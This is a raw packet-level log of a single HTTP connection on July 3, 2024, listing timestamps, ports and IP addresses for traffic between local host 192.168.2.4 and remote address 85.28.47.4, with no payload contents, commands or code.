Jul 3, 2024 23:59:08.252549887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252572060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252605915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252616882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252645969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252667904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252680063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252723932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252731085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252743959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252743959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252756119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252767086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252779961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252799034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252827883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252839088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252849102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252856970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.252866983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252886057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.252907991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.335630894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.335643053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.335659027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.335676908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.335686922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.335691929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.335697889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.335730076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.335742950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.335824013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.335836887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.335846901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.335865974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.335891962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.335975885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.335987091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.335997105 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336008072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336018085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336019993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.336049080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.336060047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.336167097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336178064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336188078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336206913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.336219072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.336255074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336266994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336282015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336292028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336298943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.336302996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336324930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.336334944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.336424112 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336436033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336451054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336462021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336468935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.336474895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336489916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336496115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.336503029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336513042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.336514950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.336540937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.336555004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337305069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337346077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337353945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337366104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337393045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337403059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337469101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337481022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337491035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337502003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337512016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337531090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337557077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337611914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337621927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337631941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337642908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337652922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337656021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337667942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337680101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337702036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337779045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337790012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337800980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.337821007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337838888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.337846041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.339339972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339380980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.339382887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339395046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339426041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.339519024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339529037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339539051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339550018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339560986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.339576006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.339601040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.339622974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339663029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.339756966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339767933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339777946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339787960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339793921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.339798927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339804888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.339812040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339824915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.339832067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.339848995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.339874029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.340023041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340034008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340044975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340054989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340063095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.340068102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340080023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340091944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.340116024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.340441942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340485096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.340488911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340501070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340528965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.340539932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.340605974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340620995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340631962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340646029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.340646029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340657949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.340672016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.340698004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.341295004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341336966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.341341972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341372013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341382980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.341408968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.341444969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341456890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341466904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341484070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.341500044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341509104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.341536045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.341610909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341622114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341633081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341643095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341650009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.341656923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341675997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.341696024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.341698885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341718912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341737986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.341748953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.341820955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.341860056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.345868111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.345916986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.345918894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.345928907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.345956087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.345968962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.346034050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.346045017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.346055984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.346065998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.346071959 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.346096039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.346118927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356146097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356193066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356199026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356211901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356240988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356252909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356323004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356334925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356344938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356354952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356375933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356399059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356477022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356498003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356508970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356518984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356527090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356538057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356540918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356549025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356559992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356566906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356570959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356583118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356595993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356618881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356861115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356873989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356884956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356901884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356925964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.356931925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.356967926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.429836988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.429848909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.429861069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.429893970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.429912090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.429981947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.429992914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430003881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430015087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430027962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430039883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430073023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430160046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430171967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430182934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430192947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430200100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430203915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430217981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430227041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430231094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430238008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430268049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430433035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430444002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430454016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430464983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430474997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430479050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430488110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430517912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430563927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430573940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430583954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430604935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430615902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430769920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430783033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430792093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430805922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430818081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430818081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430829048 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430834055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430843115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430851936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.430862904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.430891037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.431560040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431612968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.431617975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431629896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431657076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.431670904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.431701899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431718111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431729078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431740046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431744099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.431772947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.431871891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431885004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431915998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.431943893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431955099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431972027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431982994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.431987047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.431993961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.432008982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.432033062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.433489084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433500051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433511019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433532000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.433548927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.433609009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433620930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433630943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433640957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433649063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.433677912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.433752060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433767080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433777094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433787107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433792114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.433798075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433818102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.433840036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.433918953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.433958054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.434031963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434041977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434051037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434061050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434070110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434073925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.434082031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.434082031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434094906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434102058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.434112072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.434135914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.434238911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434250116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434282064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.434494019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434534073 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.434542894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434554100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434583902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.434598923 CEST	80	49730	85.28.47.4	192.168.2.4
